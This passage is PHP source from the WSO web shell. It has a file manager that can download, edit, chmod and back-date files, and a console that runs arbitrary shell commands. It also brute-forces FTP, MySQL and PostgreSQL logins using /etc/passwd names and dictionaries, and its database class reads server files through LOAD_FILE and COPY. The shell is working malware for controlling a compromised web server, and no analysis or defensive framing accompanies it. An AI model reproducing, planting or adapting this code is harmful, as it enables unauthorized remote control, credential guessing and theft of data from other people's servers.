  618. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  619. $dirs = $files = array();
  620. $n = count($dirContent);
  621. for($i=0;$i<$n;$i++) {
  622. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  623. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  624. $tmp = array('name' => $dirContent[$i],
  625. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  626. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  627. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  628. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  629. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  630. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  631. );
  632. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  633. $files[] = array_merge($tmp, array('type' => 'file'));
  634. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  635. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  636. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  637. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  638. }
  639. $GLOBALS['sort'] = $sort;
  640. function wsoCmp($a, $b) {
  641. if($GLOBALS['sort'][0] != 'size')
  642. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  643. else
  644. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  645. }
  646. usort($files, "wsoCmp");
  647. usort($dirs, "wsoCmp");
  648. $files = array_merge($dirs, $files);
  649. $l = 0;
  650. foreach($files as $f) {
  651. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  652. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  653. $l = $l?0:1;
  654. }
  655. echo "<tr><td colspan=7>
  656. <input type=hidden name=a value='FilesMan'>
  657. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  658. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  659. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  660. if(class_exists('ZipArchive'))
  661. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  662. echo "<option value='tar'>Compress (tar.gz)</option>";
  663. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  664. echo "<option value='paste'>Paste / Compress</option>";
  665. echo "</select>&nbsp;";
  666. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  667. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  668. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  669. wsoFooter();
  670. }
  671. function actionStringTools() {
  672. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  673. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  674. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  675. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  676. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  677. $stringTools = array(
  678. 'Base64 encode' => 'base64_encode',
  679. 'Base64 decode' => 'base64_decode',
  680. 'Url encode' => 'urlencode',
  681. 'Url decode' => 'urldecode',
  682. 'Full urlencode' => 'full_urlencode',
  683. 'md5 hash' => 'md5',
  684. 'sha1 hash' => 'sha1',
  685. 'crypt' => 'crypt',
  686. 'CRC32' => 'crc32',
  687. 'ASCII to HEX' => 'ascii2hex',
  688. 'HEX to ASCII' => 'hex2ascii',
  689. 'HEX to DEC' => 'hexdec',
  690. 'HEX to BIN' => 'hex2bin',
  691. 'DEC to HEX' => 'dechex',
  692. 'DEC to BIN' => 'decbin',
  693. 'BIN to HEX' => 'binhex',
  694. 'BIN to DEC' => 'bindec',
  695. 'String to lower case' => 'strtolower',
  696. 'String to upper case' => 'strtoupper',
  697. 'Htmlspecialchars' => 'htmlspecialchars',
  698. 'String length' => 'strlen',
  699. );
  700. if(isset($_POST['ajax'])) {
  701. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  702. ob_start();
  703. if(in_array($_POST['p1'], $stringTools))
  704. echo $_POST['p1']($_POST['p2']);
  705. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  706. echo strlen($temp), "\n", $temp;
  707. exit;
  708. }
  709. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  710. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  711. wsoHeader();
  712. echo '<h1>String conversions</h1><div class=content>';
  713. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  714. foreach($stringTools as $k => $v)
  715. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  716. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  717. if(!empty($_POST['p1'])) {
  718. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  719. }
  720. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  721. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  722. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  723. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  724. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  725. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  726. </table></form>";
  727. function wsoRecursiveGlob($path) {
  728. if(substr($path, -1) != '/')
  729. $path.='/';
  730. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  731. if(is_array($paths)&&@count($paths)) {
  732. foreach($paths as $item) {
  733. if(@is_dir($item)){
  734. if($path!=$item)
  735. wsoRecursiveGlob($item);
  736. } else {
  737. if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  738. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  739. }
  740. }
  741. }
  742. }
  743. if(@$_POST['p3'])
  744. wsoRecursiveGlob($_POST['c']);
  745. echo "</div><br><h1>Search for hash:</h1><div class=content>
  746. <form method='post' target='_blank' name='hf'>
  747. <input type='text' name='hash' style='width:200px;'><br>
  748. <input type='hidden' name='act' value='find'/>
  749. <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  750. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  751. <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  752. </form></div>";
  753. wsoFooter();
  754. }
  755. function actionFilesTools() {
  756. if( isset($_POST['p1']) )
  757. $_POST['p1'] = urldecode($_POST['p1']);
  758. if(@$_POST['p2']=='download') {
  759. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  760. ob_start("ob_gzhandler", 4096);
  761. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  762. if (function_exists("mime_content_type")) {
  763. $type = @mime_content_type($_POST['p1']);
  764. header("Content-Type: " . $type);
  765. } else
  766. header("Content-Type: application/octet-stream");
  767. $fp = @fopen($_POST['p1'], "r");
  768. if($fp) {
  769. while(!@feof($fp))
  770. echo @fread($fp, 1024);
  771. fclose($fp);
  772. }
  773. }exit;
  774. }
  775. if( @$_POST['p2'] == 'mkfile' ) {
  776. if(!file_exists($_POST['p1'])) {
  777. $fp = @fopen($_POST['p1'], 'w');
  778. if($fp) {
  779. $_POST['p2'] = "edit";
  780. fclose($fp);
  781. }
  782. }
  783. }
  784. wsoHeader();
  785. echo '<h1>File tools</h1><div class=content>';
  786. if( !file_exists(@$_POST['p1']) ) {
  787. echo 'File not exists';
  788. wsoFooter();
  789. return;
  790. }
  791. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  792. if(!$uid) {
  793. $uid['name'] = @fileowner($_POST['p1']);
  794. $gid['name'] = @filegroup($_POST['p1']);
  795. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  796. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  797. echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  798. if( empty($_POST['p2']) )
  799. $_POST['p2'] = 'view';
  800. if( is_file($_POST['p1']) )
  801. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  802. else
  803. $m = array('Chmod', 'Rename', 'Touch');
  804. foreach($m as $v)
  805. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  806. echo '<br><br>';
  807. switch($_POST['p2']) {
  808. case 'view':
  809. echo '<pre class=ml1>';
  810. $fp = @fopen($_POST['p1'], 'r');
  811. if($fp) {
  812. while( !@feof($fp) )
  813. echo htmlspecialchars(@fread($fp, 1024));
  814. @fclose($fp);
  815. }
  816. echo '</pre>';
  817. break;
  818. case 'highlight':
  819. if( @is_readable($_POST['p1']) ) {
  820. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  821. $code = @highlight_file($_POST['p1'],true);
  822. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  823. }
  824. break;
  825. case 'chmod':
  826. if( !empty($_POST['p3']) ) {
  827. $perms = 0;
  828. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  829. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  830. if(!@chmod($_POST['p1'], $perms))
  831. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  832. }
  833. clearstatcache();
  834. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  835. break;
  836. case 'edit':
  837. if( !is_writable($_POST['p1'])) {
  838. echo 'File isn\'t writeable';
  839. break;
  840. }
  841. if( !empty($_POST['p3']) ) {
  842. $time = @filemtime($_POST['p1']);
  843. $_POST['p3'] = substr($_POST['p3'],1);
  844. $fp = @fopen($_POST['p1'],"w");
  845. if($fp) {
  846. @fwrite($fp,$_POST['p3']);
  847. @fclose($fp);
  848. echo 'Saved!<br><script>p3_="";</script>';
  849. @touch($_POST['p1'],$time,$time);
  850. }
  851. }
  852. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  853. $fp = @fopen($_POST['p1'], 'r');
  854. if($fp) {
  855. while( !@feof($fp) )
  856. echo htmlspecialchars(@fread($fp, 1024));
  857. @fclose($fp);
  858. }
  859. echo '</textarea><input type=submit value=">>"></form>';
  860. break;
  861. case 'hexdump':
  862. $c = @file_get_contents($_POST['p1']);
  863. $n = 0;
  864. $h = array('00000000<br>','','');
  865. $len = strlen($c);
  866. for ($i=0; $i<$len; ++$i) {
  867. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  868. switch ( ord($c[$i]) ) {
  869. case 0: $h[2] .= ' '; break;
  870. case 9: $h[2] .= ' '; break;
  871. case 10: $h[2] .= ' '; break;
  872. case 13: $h[2] .= ' '; break;
  873. default: $h[2] .= $c[$i]; break;
  874. }
  875. $n++;
  876. if ($n == 32) {
  877. $n = 0;
  878. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  879. $h[1] .= '<br>';
  880. $h[2] .= "\n";
  881. }
  882. }
  883. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  884. break;
  885. case 'rename':
  886. if( !empty($_POST['p3']) ) {
  887. if(!@rename($_POST['p1'], $_POST['p3']))
  888. echo 'Can\'t rename!<br>';
  889. else
  890. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  891. }
  892. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  893. break;
  894. case 'touch':
  895. if( !empty($_POST['p3']) ) {
  896. $time = strtotime($_POST['p3']);
  897. if($time) {
  898. if(!touch($_POST['p1'],$time,$time))
  899. echo 'Fail!';
  900. else
  901. echo 'Touched!';
  902. } else echo 'Bad time format!';
  903. }
  904. clearstatcache();
  905. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  906. break;
  907. }
  908. echo '</div>';
  909. wsoFooter();
  910. }
  911. function actionConsole() {
  912. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  913. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  914. $_POST['p1'] .= ' 2>&1';
  915. } elseif(!empty($_POST['p1']))
  916. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  917. if(isset($_POST['ajax'])) {
  918. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  919. ob_start();
  920. echo "d.cf.cmd.value='';\n";
  921. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  922. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  923. if(@chdir($match[1])) {
  924. $GLOBALS['cwd'] = @getcwd();
  925. echo "c_='".$GLOBALS['cwd']."';";
  926. }
  927. }
  928. echo "d.cf.output.value+='".$temp."';";
  929. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  930. $temp = ob_get_clean();
  931. echo strlen($temp), "\n", $temp;
  932. exit;
  933. }
  934. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  935. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  936. wsoHeader();
  937. echo "<script>
  938. if(window.Event) window.captureEvents(Event.KEYDOWN);
  939. var cmds = new Array('');
  940. var cur = 0;
  941. function kp(e) {
  942. var n = (window.Event) ? e.which : e.keyCode;
  943. if(n == 38) {
  944. cur--;
  945. if(cur>=0)
  946. document.cf.cmd.value = cmds[cur];
  947. else
  948. cur++;
  949. } else if(n == 40) {
  950. cur++;
  951. if(cur < cmds.length)
  952. document.cf.cmd.value = cmds[cur];
  953. else
  954. cur--;
  955. }
  956. }
  957. function add(cmd) {
  958. cmds.pop();
  959. cmds.push(cmd);
  960. cmds.push('');
  961. cur = cmds.length-1;
  962. }
  963. </script>";
  964. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  965. foreach($GLOBALS['aliases'] as $n => $v) {
  966. if($v == '') {
  967. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  968. continue;
  969. }
  970. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  971. }
  972. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  973. if(!empty($_POST['p1'])) {
  974. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  975. }
  976. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  977. echo '</form></div><script>d.cf.cmd.focus();</script>';
  978. wsoFooter();
  979. }
  980. function actionLogout() {
  981. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  982. die('bye!');
  983. }
  984. function actionSelfRemove() {
  985. if($_POST['p1'] == 'yes')
  986. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  987. die('Shell has been removed');
  988. else
  989. echo 'unlink error!';
  990. if($_POST['p1'] != 'yes')
  991. wsoHeader();
  992. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  993. wsoFooter();
  994. }
  995. function actionBruteforce() {
  996. wsoHeader();
  997. if( isset($_POST['proto']) ) {
  998. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  999. if( $_POST['proto'] == 'ftp' ) {
  1000. function wsoBruteForce($ip,$port,$login,$pass) {
  1001. $fp = @ftp_connect($ip, $port?$port:21);
  1002. if(!$fp) return false;
  1003. $res = @ftp_login($fp, $login, $pass);
  1004. @ftp_close($fp);
  1005. return $res;
  1006. }
  1007. } elseif( $_POST['proto'] == 'mysql' ) {
  1008. function wsoBruteForce($ip,$port,$login,$pass) {
  1009. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1010. @mysql_close($res);
  1011. return $res;
  1012. }
  1013. } elseif( $_POST['proto'] == 'pgsql' ) {
  1014. function wsoBruteForce($ip,$port,$login,$pass) {
  1015. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1016. $res = @pg_connect($str);
  1017. @pg_close($res);
  1018. return $res;
  1019. }
  1020. }
  1021. $success = 0;
  1022. $attempts = 0;
  1023. $server = explode(":", $_POST['server']);
  1024. if($_POST['type'] == 1) {
  1025. $temp = @file('/etc/passwd');
  1026. if( is_array($temp) )
  1027. foreach($temp as $line) {
  1028. $line = explode(":", $line);
  1029. ++$attempts;
  1030. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1031. $success++;
  1032. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1033. }
  1034. if(@$_POST['reverse']) {
  1035. $tmp = "";
  1036. for($i=strlen($line[0])-1; $i>=0; --$i)
  1037. $tmp .= $line[0][$i];
  1038. ++$attempts;
  1039. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1040. $success++;
  1041. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1042. }
  1043. }
  1044. }
  1045. } elseif($_POST['type'] == 2) {
  1046. $temp = @file($_POST['dict']);
  1047. if( is_array($temp) )
  1048. foreach($temp as $line) {
  1049. $line = trim($line);
  1050. ++$attempts;
  1051. if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1052. $success++;
  1053. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1054. }
  1055. }
  1056. }
  1057. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1058. }
  1059. echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1060. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1061. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1062. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1063. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1064. .'<span>Server:port</span></td>'
  1065. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1066. .'<tr><td><span>Brute type</span></td>'
  1067. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1068. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1069. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1070. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1071. .'<td><input type=text name=login value="root"></td></tr>'
  1072. .'<tr><td><span>Dictionary</span></td>'
  1073. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1074. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1075. echo '</div><br>';
  1076. wsoFooter();
  1077. }
  1078. function actionSql() {
  1079. class DbClass {
  1080. var $type;
  1081. var $link;
  1082. var $res;
  1083. function DbClass($type) {
  1084. $this->type = $type;
  1085. }
  1086. function connect($host, $user, $pass, $dbname){
  1087. switch($this->type) {
  1088. case 'mysql':
  1089. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1090. break;
  1091. case 'pgsql':
  1092. $host = explode(':', $host);
  1093. if(!$host[1]) $host[1]=5432;
  1094. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1095. break;
  1096. }
  1097. return false;
  1098. }
  1099. function selectdb($db) {
  1100. switch($this->type) {
  1101. case 'mysql':
  1102. if (@mysql_select_db($db))return true;
  1103. break;
  1104. }
  1105. return false;
  1106. }
  1107. function query($str) {
  1108. switch($this->type) {
  1109. case 'mysql':
  1110. return $this->res = @mysql_query($str);
  1111. break;
  1112. case 'pgsql':
  1113. return $this->res = @pg_query($this->link,$str);
  1114. break;
  1115. }
  1116. return false;
  1117. }
  1118. function fetch() {
  1119. $res = func_num_args()?func_get_arg(0):$this->res;
  1120. switch($this->type) {
  1121. case 'mysql':
  1122. return @mysql_fetch_assoc($res);
  1123. break;
  1124. case 'pgsql':
  1125. return @pg_fetch_assoc($res);
  1126. break;
  1127. }
  1128. return false;
  1129. }
  1130. function listDbs() {
  1131. switch($this->type) {
  1132. case 'mysql':
  1133. return $this->query("SHOW databases");
  1134. break;
  1135. case 'pgsql':
  1136. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1137. break;
  1138. }
  1139. return false;
  1140. }
  1141. function listTables() {
  1142. switch($this->type) {
  1143. case 'mysql':
  1144. return $this->res = $this->query('SHOW TABLES');
  1145. break;
  1146. case 'pgsql':
  1147. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1148. break;
  1149. }
  1150. return false;
  1151. }
  1152. function error() {
  1153. switch($this->type) {
  1154. case 'mysql':
  1155. return @mysql_error();
  1156. break;
  1157. case 'pgsql':
  1158. return @pg_last_error();
  1159. break;
  1160. }
  1161. return false;
  1162. }
  1163. function setCharset($str) {
  1164. switch($this->type) {
  1165. case 'mysql':
  1166. if(function_exists('mysql_set_charset'))
  1167. return @mysql_set_charset($str, $this->link);
  1168. else
  1169. $this->query('SET CHARSET '.$str);
  1170. break;
  1171. case 'pgsql':
  1172. return @pg_set_client_encoding($this->link, $str);
  1173. break;
  1174. }
  1175. return false;
  1176. }
  1177. function loadFile($str) {
  1178. switch($this->type) {
  1179. case 'mysql':
  1180. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1181. break;
  1182. case 'pgsql':
  1183. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1184. $r=array();
  1185. while($i=$this->fetch())
  1186. $r[] = $i['file'];
  1187. $this->query('drop table wso2');
  1188. return array('file'=>implode("\n",$r));
  1189. break;
  1190. }
  1191. return false;
  1192. }
  1193. function dump($table, $fp = false) {
  1194. switch($this->type) {
  1195. case 'mysql':
  1196. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1197. $create = mysql_fetch_array($res);
  1198. $sql = $create[1].";\n";
  1199. if($fp) fwrite($fp, $sql); else echo($sql);
  1200. $this->query('SELECT * FROM `'.$table.'`');
  1201. $i = 0;
  1202. $head = true;
  1203. while($item = $this->fetch()) {
  1204. $sql = '';
  1205. if($i % 1000 == 0) {
  1206. $head = true;
  1207. $sql = ";\n\n";
  1208. }
  1209. $columns = array();
  1210. foreach($item as $k=>$v) {
  1211. if($v === null)
  1212. $item[$k] = "NULL";
  1213. elseif(is_int($v))
  1214. $item[$k] = $v;
  1215. else
  1216. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1217. $columns[] = "`".$k."`";
  1218. }
  1219. if($head) {
  1220. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1221. $head = false;
  1222. } else
  1223. $sql .= "\n\t,(".implode(", ", $item).')';
  1224. if($fp) fwrite($fp, $sql); else echo($sql);
  1225. $i++;
  1226. }
  1227. if(!$head)
  1228. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1229. break;
  1230. case 'pgsql':
  1231. $this->query('SELECT * FROM '.$table);
  1232. while($item = $this->fetch()) {
  1233. $columns = array();
  1234. foreach($item as $k=>$v) {
  1235. $item[$k] = "'".addslashes($v)."'";
  1236. $columns[] = $k;
  1237. }
  1238. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1239. if($fp) fwrite($fp, $sql); else echo($sql);
  1240. }
  1241. break;
  1242. }
  1243. return false;
  1244. }
  1245. };
  1246. $db = new DbClass($_POST['type']);
